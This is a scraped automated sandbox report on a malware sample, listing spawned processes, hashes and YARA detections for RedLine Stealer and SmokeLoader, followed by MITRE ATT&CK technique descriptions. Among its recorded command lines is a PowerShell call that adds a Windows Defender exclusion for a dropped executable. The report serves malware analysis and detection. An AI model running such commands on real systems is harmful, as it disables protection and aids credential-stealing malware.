Imagebase:	0x610000
File size:	294912 bytes
MD5 hash:	EF9CFB2DDC4AF2089DF63A761ECC7833
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 9D57.exe PID: 6244 Parent PID: 3424

General

Start time:	22:21:35
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\9D57.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9D57.exe
Imagebase:	0x400000
File size:	233472 bytes
MD5 hash:	08CB82859479B33DC1D0738B985DB28C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: B8B0.exe PID: 6784 Parent PID: 3424

General

Start time:	22:21:43
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\B8B0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B8B0.exe
Imagebase:	0xce0000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Analysis Process: 610B.exe PID: 4936 Parent PID: 3424

General

Start time:	22:21:53
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\610B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\610B.exe
Imagebase:	0x400000
File size:	365568 bytes
MD5 hash:	7BD70FFC35AB8B39FDE9BD5FAEC876DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: 610B.exe PID: 6984 Parent PID: 4936

General

Start time:	22:21:58
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\610B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\610B.exe
Imagebase:	0x400000
File size:	365568 bytes
MD5 hash:	7BD70FFC35AB8B39FDE9BD5FAEC876DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: AdvancedRun.exe PID: 3544 Parent PID: 6784

General

Start time:	22:21:58
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Analysis Process: 82DC.exe PID: 4904 Parent PID: 3424

General

Start time:	22:22:01
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\82DC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\82DC.exe
Imagebase:	0x9d0000
File size:	399872 bytes
MD5 hash:	0F289285CADCF1E656016A19789B5637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable that has been encoded with base64 twice, Source: 0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: AdvancedRun.exe PID: 6560 Parent PID: 3544

General

Start time:	22:22:02
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: conhost.exe PID: 4500 Parent PID: 4904

General

Start time:	22:22:02
Start date:	09/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: argjvbv PID: 4856 Parent PID: 968

General

Start time:	22:22:06
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Roaming\argjvbv
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\argjvbv
Imagebase:	0x400000
File size:	233472 bytes
MD5 hash:	08CB82859479B33DC1D0738B985DB28C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: powershell.exe PID: 3840 Parent PID: 6784

General

Start time:	22:22:09
Start date:	09/11/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Imagebase:	0xdd0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exe PID: 2912 Parent PID: 3840

General

Start time:	22:22:10
Start date:	09/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report y4oMrtO1Mt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre